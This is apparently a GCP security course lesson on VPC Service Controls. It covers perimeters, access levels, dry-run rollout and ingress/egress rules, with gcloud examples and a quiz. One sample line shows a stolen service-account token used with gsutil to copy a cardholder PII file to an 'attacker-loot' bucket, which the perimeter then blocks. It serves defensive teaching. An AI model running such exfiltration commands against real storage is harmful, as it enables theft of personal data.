CoursesGCP securityVPC Service Controls

VPC Service Controls

Perimeters that stop credentialed data exfiltration.

Expert35 min · lesson 6 of 15

A stolen service account key is worth exactly as much data as it can reach. That is the whole game. A service account is a robot login your apps use instead of a human one, and its key is that robot's password. Someone phishes the key, or finds one a developer pushed to a public code repo, and it still carries every permission you handed it. Permissions in Google Cloud live in IAM (Identity and Access Management), the system that decides who may call which API. IAM will happily let the thief read your Cloud Storage bucket and copy it somewhere else, because the request looks identical to a real one. The credential is valid. The permissions are real. Nothing got 'hacked.' That is the theft IAM, on its own, cannot see.

A moat solves a problem a lock cannot. The keycard on your belt opens the castle's front door and works for whoever is holding it, but the moat wraps the whole castle, and a card lifted from your pocket does not help a stranger swim. VPC Service Controls (VPC stands for Virtual Private Cloud, the private network your projects live in), or VPC-SC, is the moat. You draw a boundary around a group of projects, and the Google services inside it answer a request only when the request came from inside. Those services are reached over APIs (application programming interfaces, the doorways one piece of software uses to ask another for something, like Cloud Storage or BigQuery). Roughly a hundred of them can go behind the wall. A valid key used from the wrong side of the moat gets nothing back, however many permissions it carries.

The wall goes around the API, not the machine

Here is the part people trip over. This is not a network firewall, and it is not an IAM role either. A firewall inspects network traffic heading toward one machine, a VM (virtual machine, a computer that exists only as software). IAM answers a different question: may this caller perform this action? VPC-SC sits somewhere else entirely, at the front door of the API, and answers a third question: where did this call come from? So when something calls storage.googleapis.com to read a file, Google checks the perimeter separately from the IAM grant. If the source is outside the perimeter and no rule lets it in, the API returns a 403 (the 'access denied' response) and your carefully scoped permission never gets consulted. That is how it stops credentialed theft a perfect IAM policy would wave straight through. Before you can wall anything off, though, you have to tell Google what 'inside' means.

define who counts as 'inside'
# One access policy per organization holds all your levels and perimeters.
gcloud access-context-manager policies create \
--organization=574839201847 --title="acme-default"
# A "basic" access level: only the corporate egress IP range qualifies as inside.
cat > corp-level.yaml <<'EOF'
- ipSubnetworks:
- 203.0.113.0/24
EOF
gcloud access-context-manager levels create corp_network \
--policy=1098765432 --title="Corp network" \
--basic-level-spec=corp-level.yaml
# Expected output:
# Waiting for operation [operations/accessPolicies/create/...] ...done.
# Created access policy [1098765432].
# Create request issued for: [corp_network]
# Created level [corp_network].

An access level is a reusable name for 'a trusted source', here a single corporate IP range, and one perimeter or twenty can point at it. Now the perimeter itself. You aim it at the project numbers you want protected and list the services to restrict. Get this next command wrong in enforced mode and you can shut your own pipelines out of their own data, so you do not switch it on yet. You draw it in dry-run first.

draw the perimeter in dry-run, not enforced
# New perimeter, dry-run only: every config flag takes the --perimeter- prefix.
gcloud access-context-manager perimeters dry-run create payments-perimeter \
--policy=1098765432 \
--perimeter-title="Payments perimeter" \
--perimeter-type=regular \
--perimeter-resources=projects/834271905 \
--perimeter-restricted-services=storage.googleapis.com,bigquery.googleapis.com \
--perimeter-access-levels=corp_network
# Expected output:
# Create request issued for: [payments-perimeter]
# Waiting for operation [operations/accessPolicies/1098765432/servicePerimeters/...] ...done.
# Created perimeter dry-run spec [payments-perimeter].

Turn it on without causing an outage

Dry-run mode is the difference between a controlled rollout and a 2 a.m. incident. A new bouncer shadows the old one for a week. He checks every ID at the door and writes down everyone he would have turned away, but he stops nobody. A dry-run perimeter behaves the same way: it records every request it would have blocked into Cloud Audit Logs and lets all of them through anyway. Run it a week or two, read the would-be blocks, and you find the legitimate traffic you forgot existed. The analytics job that lives in a different project. The CI pipeline (your automated build-and-test system) that loads fresh data into BigQuery. Each one becomes an ingress or egress rule. When the log finally goes quiet, you enforce.

enforce, then watch a stolen token bounce off
# Promote the dry-run spec to enforced once the would-be-block log is clean.
gcloud access-context-manager perimeters dry-run enforce payments-perimeter \
--policy=1098765432
# Attacker holds a valid, powerful token and tries to copy PII to their own bucket.
gsutil -i [email protected] \
cp gs://payments-prod-pii/cardholders.csv gs://attacker-loot/
# Expected output:
# Enforced dry-run config for perimeter [payments-perimeter].
# Copying gs://payments-prod-pii/cardholders.csv...
# AccessDeniedException: 403 Request is prohibited by organization's policy.
# vpcServiceControlsUniqueIdentifier: A5xL9m2Q-fZ7bH0pT...
The perimeter and its two named openings
Outside the wall, untrusted
stolen service-account token
full IAM, wrong side of the wall
analyst off the corp network
no matching access level
Inside the perimeter, payments project
API boundary check
enforced independent of the IAM grant
Cloud Storage + BigQuery
restricted services, data at rest
Controlled openings
ingress: corp network + build pipeline
named callers may reach in
egress: data pipeline to partner bucket
named callers may reach out
The stolen token on the left holds every permission and still never crosses. Only the two named openings on the right let traffic through, and each is pinned to a specific identity, method, and source.

Cutting controlled holes: ingress and egress

A sealed wall that also blocks the real work is useless, so you cut named holes in it. An ingress rule says which outside callers may reach in, one service account arriving over the corp access level to run a query, say. An egress rule says which inside callers may reach out, your data pipeline's service account writing to a partner's bucket in another project. Both are pinned to an identity and to an operation, so a rule never reads 'anybody from that IP range.' It reads 'this service account, calling this method, on this resource.' A stolen key matches none of them. That is the entire point.

egress.yaml: let one pipeline identity write to one partner bucket
cat > egress.yaml <<'EOF'
- egressFrom:
identities:
- serviceAccount:[email protected]
egressTo:
resources:
- projects/220148833
operations:
- serviceName: storage.googleapis.com
methodSelectors:
- method: "google.storage.objects.create"
EOF
gcloud access-context-manager perimeters update payments-perimeter \
--policy=1098765432 --set-egress-policies=egress.yaml
# Expected output:
# Updated perimeter [payments-perimeter].
Dry-run only sees the traffic that happened to run
The dry-run log records the API calls that occurred while you were watching, and nothing else. A monthly billing export, a quarterly compliance job, a break-glass pipeline that never fired during your two-week window: none of them appear, so you never write a rule for them, and each hits a 403 the first time it runs after you enforce. Go inventory the rare flows on purpose. Ask the teams, read the schedulers, check the cron entries (the timers that fire jobs automatically). The log shows you the past two weeks and nothing more.

Strip a perimeter down and it is two lists. One list of projects that count as inside. One list of restricted services that will refuse calls arriving from anywhere else. Once you enforce, a call to a restricted API from outside fails even when the caller holds a valid OAuth token (the short-lived proof of identity a client presents) and the exact IAM permission for the job. That refusal is the feature. A credential lifted onto a laptop on the public internet should bounce off the wall loudly, with a vpcServiceControlsUniqueIdentifier in the error that you can hand to Google support.

VPC accessible services and ingress and egress policies are how you cut the deliberate holes: a shared services project that has to reach into the perimeter, a partner VPN allowed to call exactly one API. Keep every hole named, ticketed, and no wider than the business case that bought it. Broad egress to allServices is how a perimeter quietly stops protecting anything while still looking green on the compliance report.

Pair the perimeter with Context-Aware Access levels when a human needs break-glass and you only trust company-managed laptops. The two controls answer different questions. The perimeter asks where the call may come from. The access level asks which device and identity posture is allowed to try at all.

Keep perimeters in the same repo as the rest of your infrastructure. A perimeter edited by hand in the console is one nobody reviewed, and a single click that adds a project to the members list silently widens the wall. Put the access policy, the access levels, and the ingress and egress rule files under version control, apply them from a pipeline, and let the diff show up in code review. Write down which identity is allowed to run gcloud access-context-manager, because that identity can drain the moat in one command.

Prove the block rather than assume it. Once enforced, run the copy that is supposed to fail from a machine outside the perimeter, capture the AccessDeniedException and its vpcServiceControlsUniqueIdentifier, and staple that output to the change ticket. If you cannot produce the denial on demand, you have intent, not evidence. Every quarter, describe the perimeter again and diff the resources and restrictedServices lists against your last known-good export, because a project quietly added to the members list is exactly the drift an attacker would love you to miss.

Break-glass belongs in the ingress rules, not in somebody's memory. When an on-call engineer genuinely has to reach the perimeter from outside, give the exception an owner, a ticket, an end date, and its own access level, then delete it on that date whether or not anyone chases you. A temporary ingress rule cut for an incident three quarters ago is a permanent hole in the wall, and it will still be open the day a key leaks.

Try this

List the perimeter, print what it actually protects, then pull a real denial out of the audit log. Three commands, and you can see the whole control from the outside.

terminal
gcloud access-context-manager perimeters list --policy=POLICY_ID
gcloud access-context-manager perimeters describe peri-payments \
--policy=POLICY_ID --format="yaml(status.resources,status.restrictedServices,status.vpcAccessibleServices)"
gcloud logging read \
'protoPayload.status.code=7 AND protoPayload.serviceName="storage.googleapis.com" AND severity>=ERROR' \
--project=payments-prod --limit=2
output
NAME TITLE
peri-payments Payments production perimeter
status:
resources:
- projects/802451296328
restrictedServices:
- storage.googleapis.com
- bigquery.googleapis.com
vpcAccessibleServices:
enableRestriction: true
allowedServices:
- storage.googleapis.com
- bigquery.googleapis.com
# audit log (trimmed): PERMISSION_DENIED — request is prohibited by organization's policy

Takeaway

VPC Service Controls wall off Google APIs, not the network card on a VM. Draw the perimeter in dry-run, restrict the services that genuinely hold your data, and treat every ingress and egress rule as a named, ticketed hole rather than a convenience somebody added on a Friday.

Next you take custody of the keys those APIs reach for: Cloud KMS (Key Management Service) and CMEK (customer-managed encryption keys). Get those right and a gap in the wall still leaves the thief holding ciphertext they cannot open.

Quick check
01Your payments perimeter has been enforced for a month. Then a service account key leaks, and the attacker holds full roles/storage.objectViewer on the bucket. They try to copy it into their own project. What happens, and why?
Incorrect — IAM on its own would allow this, and that gap is precisely what VPC-SC closes. The perimeter refuses the call across the boundary whatever IAM says.
Correct — VPC-SC is enforced at the API boundary, separately from IAM, so a valid credential used from the wrong side comes back empty.
Incorrect — That is dry-run behaviour, which logs and lets the request through. An enforced perimeter actually stops the call.
Incorrect — You never have to touch IAM here. The perimeter blocks the cross-boundary API call regardless of the grant.
02VPC Service Controls is neither a network firewall nor an IAM (Identity and Access Management) role. So where does a perimeter actually make its allow-or-deny decision?
Incorrect — That describes a VPC firewall rule, which guards traffic heading to one machine. The perimeter works at a different layer.
Correct — Google checks the perimeter when an API such as storage.googleapis.com is called, and that check runs independently of IAM.
Incorrect — No. VPC-SC is a separate control from IAM and fires even when the IAM grant fully permits the action.
Incorrect — No. The check is about where an API call originates, not about billing, and it applies to calls that are already authenticated.
03You ran the payments perimeter in dry-run for two weeks, waited for the would-be-block log to go quiet, and enforced it. A month later a quarterly compliance job that copies data out to an auditor's project starts failing with a 403 (access denied). What most likely went wrong, and how do you fix it?
Incorrect — VPC-SC never changes IAM. The job's roles are intact; the perimeter is refusing the call across the boundary.
Incorrect — Access policies do not expire, and nothing ties a perimeter to a 30-day lifetime.
Correct — Dry-run records only the calls that actually happened, so a rare job that never fired is missing from your rules and needs its own named egress hole.
Incorrect — Bucket Lock is an unrelated Cloud Storage retention feature, not a perimeter block, and it would not produce this VPC-SC 403.

A perimeter keeps data from walking out the door. It says nothing about what shape that data is in while it sits inside the wall, or about who holds the key that turns it back into something readable. That is where you go next: you stop treating Google's default encryption as enough and take custody of the key that turns raw bytes back into cardholder records.

Related